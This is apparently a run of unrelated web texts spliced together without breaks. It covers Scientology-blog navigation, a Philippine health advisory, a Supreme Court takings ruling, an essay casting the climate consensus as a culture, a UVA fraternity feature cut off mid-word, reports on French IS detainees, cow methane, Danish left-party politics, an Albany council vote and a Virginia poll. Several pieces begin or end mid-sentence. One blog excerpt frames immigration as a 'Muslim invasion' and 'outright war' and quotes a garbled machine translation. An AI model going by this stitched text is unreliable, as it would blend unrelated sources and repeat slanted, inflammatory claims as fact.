Our book, The Unbreakable Miss Lovely: How the Church of Scientology tried to destroy Paulette Cooper, is on sale at Amazon in paperback, Kindle, and audiobook versions. We’ve posted photographs of Paulette and scenes from her life at a separate location. Reader Sookie put together a complete index. More information can also be found at the book’s dedicated page.
The Best of the Underground Bunker, 1995-2016 Just starting out here? We’ve picked out the most important stories we’ve covered here at the Undergound Bunker (2012-2016), The Village Voice (2008-2012), New Times Los Angeles (1999-2002) and the Phoenix New Times (1995-1999)
Learn about Scientology with our numerous series with experts…
BLOGGING DIANETICS: We read Scientology’s founding text cover to cover with the help of L.A. attorney and former church member Vance Woodward
UP THE BRIDGE: Claire Headley and Bruce Hines train us as Scientologists
GETTING OUR ETHICS IN: Jefferson Hawkins explains Scientology’s system of justice
SCIENTOLOGY MYTHBUSTING: Historian Jon Atack discusses key Scientology concepts
Other links: Shelly Miscavige, ten years gone | The Lisa McPherson story told in real time | The Cathriona White stories | The Leah Remini ‘Knowledge Reports’ | Hear audio of a Scientology excommunication | Scientology’s little day care of horrors | Whatever happened to Steve Fishman? | Felony charges for Scientology’s drug rehab scam | Why Scientology digs bomb-proof vaults in the desert | PZ Myers reads L. Ron Hubbard’s “A History of Man” | Scientology’s Master Spies | Scientology’s Private Dancer | The mystery of the richest Scientologist and his wayward sons | Scientology’s shocking mistreatment of the mentally ill | Scientology boasts about assistance from Google | The Underground Bunker’s Official Theme Song | The Underground Bunker FAQ
Our Guide to Alex Gibney’s film ‘Going Clear,’ and our pages about its principal figures…
Jason Beghe | Tom DeVocht | Sara Goldberg | Paul Haggis | Mark “Marty” Rathbun | Mike Rinder | Spanky Taylor | Hana WhitfieldWatch also in iWant or TFC.tv
With the official start of the rainy season, the Department of Health urged the public to take precautions against diseases that are common during this time of the year.
According to DOH spokesperson Dr. Lyndon Lee Suy, influenza or flu is a year-round disease but it is prevalent during the wet season.
Patrice Barrientos, a mother, recalled how nervous she was when her eight-month old baby acquired the flu.
“Kinakabahan ako, ‘di na ako natutulog [kasi] binabantayan ko s’ya. Talagang maririnig mo na ‘yung plema nya kasi ‘di n’ya mailabas lahat. Iba na ‘yung climate dahil sa alikabok [tapos]minsan sobrang init,” Barrientos said.
Other diseases that peak during the rainy season are leptospirosis, dengue fever, and diarrhea.
A person can also get sick from floodwaters that may enter the water pipeline. When contaminated water is consumed, it may cause stomach cramps or vomiting.
Suy says practicing good hygiene is a good way to protect yourself from disease.
“Nandoon pa rin dapat ‘yung paghuhugas ng kamay [at] pag-uwi ng bahay ay maglinis pa rin ng mga parte ng katawan,” Suy said.
Using an antibacterial soap is likewise helpful to kill bacteria.MINNEAPOLIS - A Gopher gymnast is lucky to be OK after an equipment failure during practice sent him flying.
Jalon Stephens, a member of the University of Minnesota's men's gymnastics team, was on the high bar Thursday in Cooke Hall when it suddenly collapsed, leaving him stranded in the air.
Fellow teammate Zachary Liebler posted the scary video to twitter, saying Stephens "walked away unharmed."
The tweet even reached Olympic gold medalist Simone Biles who said she'd "quit" if something like that happened to her.
@Liebler25 @GopherMGym @jalons30 l o l. I'd quit peace ✌🏾 so scary. Glad you're alright Jalon whew thats a heart attack forsure — Simone Biles (@Simone_Biles) May 12, 2017
Soon after the video was posted, Stephens himself posted on social media that he's doing OK.The case carries potential significance for future cases involving temporary seizure of property.
The Supreme Court building in Washington, under a protective scrim, as work continues on the facade. (Photo11: By Alex Brandon, AP) Story Highlights Even temporary flooding of land constitutes a "taking"
Decision upholds claim by Arkansas against U.S.
Case sent back to appeals court for further review
WASHINGTON -- What the government taketh, the government must pay for.
That was the 8-0 ruling of the Supreme Court on Tuesday in a case that involved water, water everywhere for Arkansas wildlife officials for several months a year from 1993 to 2000 -- water released at a federal dam that flooded state forest land and made it temporarily unusable.
The question before the justices was simple: Did the flooding constitute a "taking" of property deserving of compensation, even though it was temporary? The lowest federal court said yes. The appeals court said no.
Justice Ruth Bader Ginsburg, writing for the full court except for Justice Elena Kagan who did not take part in the case, said the government's actions did amount to a taking.
"Government acquisition or invasion of property can be a taking even when temporary in nature," Ginsburg said. "These settled holdings lead us to conclude that government-induced flooding of limited duration, but severe impact, can amount to a taking of property warranting just compensation."
The Army Corps of Engineers released water from the Black River dam to help farmers. But the water wound up on the property of the Arkansas Game and Fish Commission, damaging or destroying forest timber. For that, state officials said, they should be compensated -- and the U.S. Court of Federal Claims awarded $5.5 million.
The appeals court reversed that decision on the basis that the flooding was temporary, but Ginsburg rejected that blanket exemption.
"Given no persuasive reason to treat flooding as a unique category, we reject the temporary-flooding exception on which the Federal Circuit grounded its decision," she said.
Read or Share this story: http://usat.ly/R4HiWZby Andy West
A frequent topic at Climate Etc. is the ‘consensus.’ An argument is presented here that the climate consensus is as much about culture as it is about climate science.
For about 150 years we’ve been learning how cultures work and evolve. Great progress has been made on a wide range of topics such as the mapping of cultures, cultural coalitions, the categorization of underlying bias mechanisms, gene-culture co-evolution and others, even if much mystery remains, for instance at the fundamental level of what happens inside the mind regarding the social / individual interface, gnawed at from different directions by anthropology, memetics, psychology, neuroscience and other disciplines.
This accumulated knowledge on cultures is directly relevant to understanding the climate movement. So that we don’t have to relearn the 150 years experience again in the climate domain as though this is all something new, it is crucial to acknowledge the cultural nature of the consensus and bring this wealth of acquired knowledge to bear.
Climate culture
I’ve long since lost count of the many parallels drawn between the climate consensus and religion, from both notables and many blog commenters within the climate domain1. While these tend to be instinctive expressions and are mostly from skeptics, there are a few from the consensus side2 and still more describing climate change as a transformative culture. The former sometimes draw the worst possible connotations or even invalid consequences, yet nevertheless correctly discern the underlying truth that the climate consensus is a cultural phenomenon, while the latter fail to appreciate that cultures of this kind do not so much communicate the truth, as manufacture it.
I’ve prepared a 3 step basic social analysis that I hope will be straightforward to follow, conveniently available as the ‘Aux File’ below and also at my blog, showing the cultural nature of the climate consensus. The 3 steps are first executed for the creationism / evolution domain, and then in exactly the same manner for the climate change domain. The analysis takes the ‘robot from Mars’ view; it is possible to identify a culture with very little knowledge of domain details, and best to do so if possible in order to maximize objectivity. The steps are built on data from public surveys and Dan Kahan’s great data from Cultural Cognition.
Despite the large commentary about cultural characteristics that pervades the climate change domain, there does not appear to be recognition that the Consensus, with its narrative of imminent (decades) calamity, *is* a formal culture. All the disciplines involved in cultural understanding, such as anthropology, psychology, memetics, neuro-science and others, think climate change is merely a matter of science; why would they even attempt apply their knowledge in this domain? Unless perhaps to try and explain ‘deniers’, of course. So what might these disciplines think if they weren’t blinded by the science label?
A thought experiment
Imagine a professor of bio-cultural evolution who researches and favors the strong Darwinian end of the current range of cultural evolution theories, is returning from a field trip in the Pacific. He runs into trouble of some sort, and ends up stranded for over 30 years, like Robinson Crusoe, on an isolated island. Hence he receives no knowledge of the climate change phenomenon. Then sailors rescue him, and tell him that the whole world is hugely worried about climate change and is spending trillions to try and avert an imminent calamity. Before any other detail gets discussed, one sailor happens to add that he’d read a recent article showing that the climate change consensus (along with the wider movement it inspires) advocating urgent action to save the planet, was shown to be a formal culture.
The professor immediately has strong suspicions that:
Whatever is happening in society now will be due mainly to cultural effects, and not due to what will emerge regarding the physical climate (whether that’s good, bad, or indifferent). There will be a socially enforced consensus serving a cultural narrative. The above will include statements that are presented as all-explaining and/or indisputable. The consensus will be actively policed via a range of mechanisms including status control and emotive pressure. There will be uncritical acceptance of an authority or authority figures, possibly even adoration. There will likely be some rights or privileges granted to only a few. There will likely be some vision of catastrophe, and yet also an expectation of salvation / rebirth / renewal that is conditional upon catastrophe avoidance. Anxieties, fears, guilt, hopes and inspiration will all be culturally steered via the above visions and consensus, causing immense bias within all areas of endeavor connected with the culture. There will be double standards concerning many matters within the cultural domain, the creation of a feeling of threat, a shifting moral landscape and likely large changes to the law (if the culture has been active long enough). The core narrative promoted by the cultural consensus will be spread into many areas of society as justification for all sorts of changes that benefit the culture, independent of their true usefulness to the human condition and in fact even if some are damaging. There will be organizations acting as aggressively advocate wings who are still more emotive and still more convinced. Orgs like this contribute to the policing of internal ranks in a culture, plus also get the job of missionaries and recruitment agents (think Jesuits). Many adherents especially in the advocate wings, will self-identify with the culture. This produces instinctive and emotional (rather than reasoned) support. While conspiracies can latch onto any sufficiently large human endeavor, the phenomenon is not driven by conspiracy as root cause. Cultures are emergent phenomena, driven as much or more from the convinced at all levels of society and grass roots passion, as from top down command. Dissenters will be demonized, and possibly persecuted if the culture has gained enough moral penetration. Notwithstanding above, unless the culture has achieved a clean sweep of elites already, the domain-knowledgeable will be highly polarized. The 30+ years since the professor was stranded is not enough to get the multi-generational penetration needed to overcome ‘innate skepticism’ in the wider population. Hence there will still be a large rump of the public, possibly a majority, who are unconvinced. The culture will attempt to form cross-coalitions with other cultures (religious, or political or other secular). If as the sailors say this is already a global phenomenon, then likely whole governments and various other authorities will have bought into it. Huge resources will be going into infra-structure that benefits / promotes the culture and its ideals, yet doesn’t necessarily help with the renewal / salvation advertised by the core narrative. Despite an avidly promoted certainty of an apparently static position, the core cultural narrative will in fact slowly evolve. There will be icons. The evolution in 20 means that some icons will be set aside for new ones, having lost their usefulness for some reason. Cultures are by no means all bad, and not only that, without the mechanisms on which cultural consensus are founded, human civilization wouldn’t have arisen in the first place. Though some cultures can be net very negative, there will likely be positive elements to this culture.
Well, not all relevant professors would suppose all of this, for instance there is still strong (even bitter) resistance in some social sciences to anything seen to be verging on reductionism. And some would be happy categorizing dead cultures this way, yet apprehensive about doing the same for living ones. Others would be perfectly happy categorizing living religions this way, for instance Blackmore, and I doubt Dawkins would have any problem here too, yet be horrified by applying the same system to the social aspects of climate change. However they’d all recognize the approach, and the point here is that these differences reflect more the different biases of the academics involved than they do the validity of the characteristics. And the Crusoe professor is, by his long absence, extracted from any bias regarding the climate domain at least. He would see it with new eyes.
The above list reflects much about the climate consensus, and at this point our Crusoe knows a great deal more than the sailors. Our Crusoe would also guess that the relevant science must be highly uncertain, because otherwise there would be too much constraint for the emotive memes that power the mainline cultures to have arisen and gotten such a grip. He doesn’t know about funding bias or what Climategate revealed about 4), or that the authorities in 5) include the IPCC or adoration of Gore and Hansen. Per 6) he doesn’t know about the reluctance of scientists to let data out of the privileged circle, or that the WWF and Greenpeace and others fulfill 11). He doesn’t know about particular skeptics who claim ‘hoax’ and ‘conspiracy’ per 13), or about the ‘denier’ term per 14), or the Democrat-climate coalition in the US per 17), or the bio-fuels debacle, or wind turbines that would disappear without trace without large subsidy, per 19). Or that per 21) the once prominent icon of the hockey stick had to be de-emphasized because of ‘the pause’. He just knows that these kind of things happen in strong cultures.
Regarding 8), this previous post at Climate Etc looks at emotional bias in the Consensus, and footnote 4 links to detail on more relevant bias mechanisms. There’s just room left in this post to briefly look a bit deeper at the important topics in 2) and 9).
Culture and consensus
Cultures do not arise via trivial processes, but via long co-evolutionary mechanisms in which anxiety, fear, guilt, inspiration, hope, and other emotive hot buttons in all of us are activated. One result is a culturally enforced consensus. Indeed many consider culture and social consensus to be synonymous. For instance, when anthropologists are seeking the nature and range of a culture that they are not too familiar with (and hence do not know the ‘correct’ cultural answers to whatever questions they form as tools), it is exactly the existence and strength of a consensus via which they map the boundaries and core values of the culture. In other words, it is assumed that the social consensus essentially equates to the culture. (Such investigations are performed via the statistical techniques in Cultural Consensus Theory: wiki, slide deck from one of the originators, do it yourself CCT Pack).
Throughout our evolution as Homo Sapiens (and possibly before), cultural consensus has been a net huge benefit, and continues to be so. The mechanisms via which it works allow common action to be achieved in the face of the unknown, an evolutionary advantage. It’s a big part of the ‘job description’ of culture to manufacture consensus. There are downsides though; a culture can become parasitical or net negative in some other way. And though instinctive ‘innate skepticism’ helps us to resist misinformation and culture overdosing, this defense can be overcome.
So, when we encounter a culture we expect to see an enforced consensus. The defensive manner in which the climate movement treats the topic of uncertainty, and the emotively imperative manner via which it promotes the certainty of imminent (decades) calamity, is how we expect a culturally enforced consensus to be operating.
Morals and the Law
Altruistic behavior emerges from group selection, specifically via ‘correlated interaction’4, and is deeply rooted in human nature. However when actually operating within a particular generation, innate altruism needs cues regarding who is in-group and who is out, what is correct behavior in this group and what is not. These cues are largely provided by culture, which therefore is not only bound up with our identity, but with our morals. And if a new culture comes along and muscles into the pack of existing cultures and cultural relationships, then it will shift the moral landscape. The wider the scope of the new culture and the deeper its social penetration, then the more the moral landscape will shift. Behaviors that were once ok may become offensive, and vice versa. Some folks may find themselves edged ‘out’ of the altruistic circle(s) they thought they were in; consequently they will not be well treated.
An important function of the law is the guardianship of morals. While cultural evolution requires the law to constantly evolve in order to accommodate resultant moral modifications, the law is also deliberately entrenched and made pretty hard to change (especially for core principles). This is so that short-term fads or cultural wrong turns or the whims of individual power-brokers do not constantly make it into law, as such would undermine the guardianship. However if a powerful new culture arises, and especially if the rise is swift (in generational terms), this will create moral pressures upon the (entrenched) law. This will happen for both net positive and net negative cultures, yet latter case is obviously more dangerous. The pressure will manifest in a raft of ways, including likely prospects such as:
a) A systemic blind eye to law bending or law breaking that aligns to the new moral compass.
b) Extreme clemency for those who are apprehended; maybe even a badge of honor / reward.
c) Calls for that which is both accepted and lawful yet not aligned to the new moral compass, to be outlawed.
d) Calls for orgs or individuals who question the new culture, to be silenced.
e) Calls for orgs or individuals whose interests are counter to the new culture, to be subject to a penalty of some fashion (by stretching existing law or calling for new law to achieve this).
f) In stronger cases, calls for the very system upon which the law rests to be changed or abandoned (e.g. a revolution, or calls to abandon democracy, or major schism within a religious based system / society).
g) All of the above repeated for codes of conduct (e.g. in corporate or academic orgs, financial conduct, conflict of interests etc) as well as the main law system.
If moral pressure is sustained for long enough, the law will realign to the new landscape. Once changes start to occur, the positive feedback boosts the culture. However if a swift cultural rise doesn’t occur, it could break like a wave upon the law and then recede. (Note: non-cultural drivers can cause some of these characteristics, especially for conduct codes and more peripheral laws, yet not across the board).
Those who resist a new culture may call upon the (current) law both to protect themselves and to return fire, so to speak. Yet many will be afraid to if rapidly shifting social norms get to a state whereby this will result in their demonization. We consider this price worthwhile for benign cultural change, but not for unsavory culture — the problem being that we only know the former from the latter with the perspective of history or distant geography. The net effect can be hard to assess, for example regarding benign religions that once tortured and suppressed. At any rate this all means that the courts will be one of the main battle-lines, and for a cultural versus evidential scenario this results in the rather ridiculous spectacle of the law attempting to settle a scientific matter, for instance regarding Evolution the Scopes monkey trial, or regarding Climate Change and the rule of Law, Professor Sands’ proposal at a UK legal conference: ‘One of the most important things an international court could do – in my view it’s probably the single most important thing – is to settle the scientific dispute.’ (Sands pdf).
Climate culture doesn’t come up short regarding the above list. A few examples: a) Long record of rights and law being trampled in the name of renewable energy: Pat Swords, b) Gleick, c) Ban Fossil Fuels, Ban Beef?, d) Legal academics: Silence the Skeptics, e) Put fossil fuel CEOs on trial, The RICO 20 letter, f) Lovelock: democracy on hold, or Overridden, g) EPA collusion, Conflicts of interest in Climate Science. Whether any particular cases out of these and many others happen to have some justification or not, isn’t the main point. Such an overarching list of this form is yet another sure symptom of a rising culture, and so the ultimate justification is only an emergent social story. Whatever the state of the opposing skeptic position, this story isn’t truth – rather, it is socially manufactured.
It is extremely important to note that cultures are emergent phenomena. So while elites will play their (often disproportionate) part, cultures are not ‘ordered from the top’. Much of the pressure on the law comes from self-convinced front-line professionals in the relevant fields, plus grass-roots support from passionate individuals. Even for highly offensive cultures (as perceived now), the self motivation at all levels of a population is well documented4.
Conclusion
Considering how much may be predicted about the climate consensus from one single fact, i.e. it is a culture, this has to be the most important single fact one could possibly know about the climate Consensus. And if this fact isn’t grasped more widely, especially by those in the disciplines that deal with culture, everything we know about culture will have to be learned again within a climate-change specific context, the hard way. Worse, if we don’t choose to exercise our understanding about the phenomenon that is bulldozing its way through our morals and laws and infra-structure, there’ll be little chance to free science from its grip, or mitigate the downsides of its advance, or prevent fundamental cultural change that could never have happened without the stalking horse of science, from going bad on us.
link [Climate Culture Footnotes] to endnotes
link [Who is Who Aux File] to ‘Who’s who’ auxiliary file
JC note: As with all guest posts, keep your comments civil and relevant.It’s a blue, cold Thursday in January and I’m walking down Rugby Road on the first night of fraternity rush at the University of Virginia, brushing past groups of identical gossiping boys in matching preppy outfits: fleeces, checked oxfords, khakis, boots. “Excuse me,” they say politely when our coats touch, then turn back to each other and their offhand drawling: “What was that back there, Bronyfest?” “Not enough of a tobacco enthusiast for that house, I can’t just sit around ripping cigs.” “I wasn’t feeling them, dude, they had, like, a serial rapist vibe.”
I am startled at the boy who just threw that out in the winter night to his two friends, because all four of us are crossing the street on our way to Phi Psi, the fraternity whose huge Christmas-lit mansion is a landmark in the middle of the physical fraternity scene in a way that the fraternity itself—until Rolling Stone—was not. But the boys were talking about a druggier, prep-school frat; they’re not talking about Phi Psi.
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No one here is talking about Phi Psi, at least not “Phi Psi,” the figural fraternity or the true, unchecked scourge of sexual assault that it was used to represent. (The frat has since been cleared of charges, with “no basis to believe that an incident occurred.”) In fact, if there is a single male interacting with the Greek system—or even one human on campus generally—who wouldn’t rather tuck away last semester as a bad dream, I won’t hear about it over the next five days. It was enough that Sabrina Rubin Erdely’s egreg |
Mosul’s Old City, according to the Iraqi intelligence officials. They spoke on condition of anonymity because they are not authorized to release information.
The woman worked for Islamic State’s Diwan al-Hisba, or morality police, and told Iraqi security forces that her husband was killed during the fight in Mosul’s Old City, the officials said.
While her lawyer could not provide details about why the French family joined IS, France has sent more extremists to Iraq and Syria than any other Western country. France has also been repeatedly targeted by deadly IS attacks, mainly staged by homegrown extremists.
The captured Frenchwoman abruptly left her home in a Paris suburb in late 2015 and followed her husband to Syria and then to Iraq, taking their three children along, according to Bourdon. The woman’s family doesn’t want her name released for their protection.
The woman gave birth six months ago in Mosul, Bourdon said, even as Iraqi troops — with help from U.S., French and other forces — battled to oust IS from its main stronghold in Iraq.
“The logical solution, from a judicial and human standpoint, would be for the family to be handed over to French authorities,” Bourdon told The Associated Press. “That she made the most stupid choice of her life is not a reason to have a view of her that is only judicial.”
A French diplomat said Wednesday that consular authorities still haven’t been able to see the woman or her children. The government spokesman said French and Iraqi authorities are working to verify the children’s identities.
The French Foreign Ministry said Wednesday it had told the woman’s parents last month to urge her to turn herself in to the Red Cross or French consular authorities in Baghdad or Irbil.
Bourdon acknowledged such cases are “a headache” for French authorities, given sustained IS threats to France, but warned that the problem is likely to get worse as IS territory is overtaken and other French families “come out of the woodwork.”
Meanwhile, Iraqi officials also said they arrested a foreign woman they believe is German in Mosul’s Old City last week. They said she had been recruited by an Arab IS member through social media. German Foreign Ministry spokesman Martin Schaefer said the government is in contact with Iraqi authorities but can’t yet confirm that the German woman was in Iraq.NEWARK — A man best known for his extensive knowledge of city history will now be permanently remembered by the place he so publicly loved to call home.
Clement Alexander Price, who died last year at age 69, will have a permanent memorial plaque installed Wednesday at the Essex County Justice William J. Brennan, Jr. Park, next to the Essex County Historic Courthouse, the county announced this week. Price, a history professor at Rutgers-Newark, was the city's official historian, and chairman of the Newark 350th Anniversary Committee.
"Dr. Price had such a tremendous knowledge of Newark's history and understanding about the city's identity. His insight made the history of our city and county come alive and always put into perspective from where the city had come and to where it was going," County Executive Joseph DiVincenzo, Jr. said in a statement about the dedication.
"He was a great advocate and cheerleader for Newark and a great friend who was always willing to help."
The bronze plaque, which county officials said is meant to raise awareness about Price's contributions to Newark and Essex County, includes the historian's biography and long list of academic accomplishments.
"Always a gentleman, always willing to help, we know that when others write of Newark's history, they will include a chapter about our friend," it reads.
Price died last November, after suffering a stroke while attending a film festival at Rutgers. Residents and dignitaries from across the state expressed grief after his death.
"Not only was he a dear friend to me, he was a friend to all of Newark," Mayor Ras Baraka said in a statement at the time.
"His great intelligence, his vast learning, his eloquence, and most of all, his unbelievable personal warmth, made him one of our city's most titanic, respected, and beloved figures."
Jessica Mazzola may be reached at jmazzola@njadvancemedia.com. Follow her on Twitter @JessMazzola. Find NJ.com on Facebook.By Ned Rozell
Many creatures, including you and me, emit methane from time to time. Microbes within our guts break down one substance and turn it into another, making methane in the process. Northern lakes and tundra plants also leak methane. That gas, too, is from microbes, which become more active as the air warms.
Scientists study methane because of its ability to warm the world — methane is 28 times more potent than carbon dioxide as a greenhouse gas.
Because of this, a number of scientists at a recent conference showed their work on finding manmade sources of methane, from electronically sniffing manhole covers in Cincinnati to sampling the emissions from cows in Mexico.
Cows are one of the largest sources of man-caused methane. Livestock around the world contribute 44 percent to methane emissions attributable to the actions of humans, according to a report from United Nations researchers.
There are a lot of cows out there. More than 90 million in the U.S., most of them in Texas, Nebraska, Kansas and California. Alaska is way down on the list, home to about 14,000 cows.
There are about 33 million cattle in Mexico, where a few scientists are experimenting to concoct a cow diet that will reduce methane emissions.
Like moose, cattle are ruminants that break down their food by fermentation. This process, which also makes them gassy, allows them to pull nutrients from food as bland and fibrous as grass, and in the moose’s case, willow twigs and buds. Cows that eat corn and wheat produce less methane than grass-fed beef.
This may come as a surprise, but 90 percent of cow methane comes from their front ends. Octavio Castelán-Ortega measured that in an experiment he and others conducted in Mexico. He works at the Autonomous University of Mexico State in Toluca, near Mexico City.
Castelán-Ortega, a veterinarian, and Luisa Molina, an atmospheric scientist, monitored the respiration of cows and found steep reductions in methane when cows were fed a diet enhanced with certain plants. They presented their results in an eye-catching poster (featuring a cow with its head in a chamber that resembled a voting booth) at the recent fall meeting of the American Geophysical Union in San Francisco.
In a study at four sites in Mexico, Castelán-Ortega and Molina found cows that fed on grasses mixed with the leaves of delicate tropical leucaena trees belched about 36 percent less methane than those on a straight grass diet. The cosmos flower, with the Latin name Cosmos bipinnatus, reduced methane emissions 26 percent when it was added to feed.
The diet including leucaena tree leaves also improved the cows’ milk production. Both plants contain bacteria-killing tannins that disrupt fermentation without interfering with a cow’s digestion. Too much of the plants would be toxic, but a small proportion seems to be beneficial. We drink tannins all the time. They are the bitter compounds in coffee and tea.
The Mexico study was a pilot project using plants from the tropics and other warm regions. Castelán-Ortega said researchers could identify and test tannin-containing plants from cooler climates. A small tweak in diet could result in a big reduction in greenhouse gases from the world’s growing population of cows.
Meanwhile, here in Alaska, methane wafts freely from 950,000 caribou, 200,000 moose, and thousands of sheep and goats.
Ned Rozell is a science writer for the University of Alaska Fairbanks‘ Geophysical Institute. Since the late 1970s, the Geophysical Institute as provided this column free in cooperation with the UAF research community. More of Ned’s columns can be found here.
Follow Ned Rozell on Twitter @NedRozell and on Instagram @neddybaseballRed carpet and champagne marked the start of the first Red-Green Alliance (RGA) congress since the party tripled its mandate at a poll in September last year.
The 385 delegates representing the 8000 members packed a basketball stadium in the migrant and working class Copenhagen suburb of Norrebro to grapple with the party's new increased influence on Danish politics.
Party membership has more than doubled in the past two years, with the party welcoming into its ranks many ex-members of the Social Democratic and Socialist People's party.
Danes voted in droves in last year's elections to punish the right-wing parties. The poll resulted in the Social Democrats heading a coalition government — and Denmark's first woman prime minister. But this took place on the back of the lowest vote for the Social Democrats since 1906.
There was also a collapse in support for the country's most right-wing parties, including the overtly racist Danish People's Party (DPP). The vote for left parties rose.
The Social Liberals are the most conservative of the four left-of-centre parties supporting the government and the RGA the most radical.
The RGA jumped from four to 12 seats in parliament, winning 6.7% of the vote. All RGA MPs get only a skilled worker's wage, donating the rest to the party.
The new government follows 10 years of conservatives in office. Among unionists and working class communities that organised to oust the conservatives in a similar style to the Australian “Your Rights at Work” campaign, there are huge expectations.
With the Social Democrats and their partners in the government rapidly reneging on election promises and tracking to the right, the RGA has unique opportunities and challenges ahead.
The minority Social Democrat government led by Helle Thorning-Schmidt relies on a coalition of left and centre parties to govern.
The RGA supports the government against motions of “no confidence”, but the party is not formally part of government and votes for legislation case by case.
The votes of RGA MPs are crucial, however, to enable the government to pass key laws, including the budget.
The congress delegates reflected in some detail on the difficult experience of negotiating with the government over this year's budget.
Party spokesperson Johanne Schmidt-Nielsen said: “No one should doubt that if the government chooses the compassionate way, then we stand ready. We are ready to negotiate, and we are not afraid of compromise.
“In return, I want to say one thing very clear to the government: You'll never be able to threaten the Alliance to vote for cuts in welfare.
“Never! Even if the threat is that you'll call an election. This kind of bullying does not work on us."
To try to bring community pressure on the negotiations, the RGA conducted a series of consultations with students, unions and community groups to gather proposals.
The party prioritised these proposals and made it clear to the government that the votes of the RGA depended on these measures.
Negotiations with the government were conducted by a team nominated by the 25 elected members of the RGA's National Board. The authority to authorise MPs to vote in favour of the budget is held by the board.
The RGA's ultimate support for the budget hinged on the inclusion of five weeks' holiday for recipients of social assistance, as well as giving the unemployed more opportunities for retraining and education rather than being forced back into the labour market.
The budget also included some progressive taxation reforms, including a higher tax on large companies and a tax on printed advertising materials.
The congress revisited a big debate from last year. This came after a majority of the National Board endorsed the vote of the party's MPs in favour of Danish support for the UN-NATO intervention in Libya.
This support was later retracted by the board and MPs as the intervention in Libya unfolded. At last year's congress, a vote to endorse the actions of the board's majority was carried by a margin of just 13 votes.
In the lead up to the congress, the party conducted seminars throughout the country to debate in what circumstances the party would support military action. The result of these seminars was a resolution put to the congress designed guide the party.
Delegates adopted the resolution, which provides very limited circumstances in which, for humanitarian reasons and having all other options exhausted, the party would support UN-led military interventions.
Some delegates expressed concern about the practicality of the resolution in the context of further military interventions. Others regarded it as an important framework to guide the party.
Big challenges lie ahead, as the government is moving to cut unemployment benefits from four to two years, and raise working hours and the retirement age. The congress launched a campaign to “Fight unemployment, not the unemployed” this year.
A decision was also made to run a campaign to force the government to hold a referendum on Danish support for the European Union Fiscal Pact. This pact will bind the EU countries to implement cuts to public spending and debt.
Also high on the campaign agenda is scrapping the discriminatory immigration rules that prevent Danish citizens with less than 28 years of residency from bringing their wife or husband to Denmark. These laws were passed by the previous government at the initiative of the far-right Danish People's Party.
With the RGA enjoying a growing and enthusiastic membership and a huge mainstream national profile, its future looks bright. It already has strong representation in local councils and looks set to extend that base in next year's elections.
Despite its bright electoral prospects, delegates and MPs alike were at pains throughout the conference to point to the limits of negotiating change in parliament. Much discussion focused on building campaigns outside parliament.
National Board member Per Clausen said: “The main challenge for us is to bring optimism and the belief that political activity is useful. And when we go from here we spread that belief into the workplace, in homes and taverns.”Cecilia Hagen is a famous Swedish writer and journalist. In a recent column, after a lengthy discussion about how she hates rats, she declared that anybody who does not support the Muslim invasion of Europe is a ‘brown rat’ who deserves to be exterminated:
In his chronicle network Hagen An to a blog post that the Bar Association Secretary General Anne Ramberg recently wrote in which she called anti-immigrant politicians for “brown rats”. Above all mentioned the moderate senator Hanif Bali in her blog post. Hagen begins his chronicle with addressing the persistent problem of rats in Stockholm. Then she directed the focus toward people with immigration critical opinions. “It’s those other councilmen who I would like to wipe out in a dignified manner. The brown,” she writes. She asks a little later how best to “get rid of human brown rats” and suggests the use of poison (source, Hagen’s original article here)
Just imagine if this was written about Muslims in Europe.
This article is a reflection of a greater trend. There has been a lot of arguing about the status of Islam in Europe, but recently things have started to take a murderous tone. This is beyond arguments- it is about outright war.
Where is all of this going? Click here or here to read what we see coming.
printThe city plans to lease a new SWAT vehicle to be used by the police department after a bond ordinance was approved by the Common Council on Monday night.
The lease, which will be paid for through serial bonds, is estimated to cost a maximum of $300,000.
The ordinance was sponsored by Chair of the Council’s Finance, Taxation and Assessment Committee, Councilmember Judy Doesschate.
The new vehicle is a replacement for 15 year old hummer-type vehicle the city Police Department currently uses, Doesschate said.
The Albany County Sheriff’s Department has a similar but larger SWAT vehicle which may not always be available to APD, and which may be too large to fit down some Albany streets, Doesschate said.
“This kind of vehicle has kind of become standard equipment,” she said, adding that she hopes the vehicle never needs to be used.
The vehicle can also be used for extra protection when high-level officials come to Albany, Doesschate said.
Presidential candidates Hillary Clinton, Bernie Sanders, and Donald Trump visited Albany last year.
The ordinance passed with 12 in favor and 1 vote against. Councilmembers Dorcey Applyrs from the 1st Ward, and Daniel Herring from the 13th Ward did not attend the meeting.
The only “no” vote was cast by Councilmember Mark Robinson from the 5th Ward. He took the city’s $12.5 million deficit into consideration when voting, he said.
“To be voting on police vehicles at this time,” Robinson said, “I don’t feel comfortable with.”
Councilmember Leah Golby, a Pine Hills resident, voted in favor of the ordinance.
The ordinance was one of 13 brought to a vote by Doesschate at the meeting, all of which passed with at least 10 votes.
An ordinance authorizing the lease financing through serial bonds of over $686,000 for marked and unmarked police cars and SUVs also passed 12-1.
Also approved 12-1 was funding to extend the Rail Trail, connecting it to the Corning preserve. The connection will complete a trail from Voorheesville to Cohoes, Doesschate said.
Robinson was the only “no” vote on these ordinances. -30-President Obama's approval rating in the state has taken a dip. Va. poll: Sequester hits Obama
President Barack Obama’s approval rating in Virginia has slipped below 50 percent for the first time since his reelection as $85 billion in budget cuts affect the state’s economy, which is powered by federal and military spending, according to a new poll on Thursday.
Forty-five percent of Virginia voters approve of Obama’s job performance, and 49 percent disapprove, the Quinnipiac University poll found. In Feburary, Obama’s approval rating stood at 51 percent, with 46 percent of voters disapproving.
Story Continued Below
“We’ll watch to see if President Barack Obama’s job approval drop is a temporary blip or the beginning of something larger,” said Peter Brown, assistant director of the Quinnipiac University Polling Institute.
( PHOTOS: Malarkey, baloney and frogs: Sequester quotes gone wild)
“One thing that may be hurting the president’s approval rating is the implementation of automatic cuts in the federal budget from the sequester,” he added. “Virginia voters are very unhappy about it taking effect. And some of that unhappiness may be rubbing off on the president.”
The spending cuts are less popular in Virginia than they are nationally. In the Old Dominion, half of all voters said the cuts were a “bad thing for the country” and 24 percent disagreed. Forty percent of Virginians said the cuts were bad for them personally, while 18 percent disagreed.
Nationally, only 41 percent of voters believe the sequester will be bad for the country, according to a CBS News poll released earlier this week. Twenty-eight percent think it will be a good thing
Virginia is the home of the Pentagon, as well as numerous other military installations and domestic agencies. Half of the cuts in sequestration hit defense spending, resulting in extensive furloughs for all civilian Defense Department employees and costing them about 20 percent of their salary.
The poll of 1,098 registered voters was conducted from March 20 to March 25. The poll has a margin of error of plus or minus 3 percentage points.
This article tagged under: Sequestration
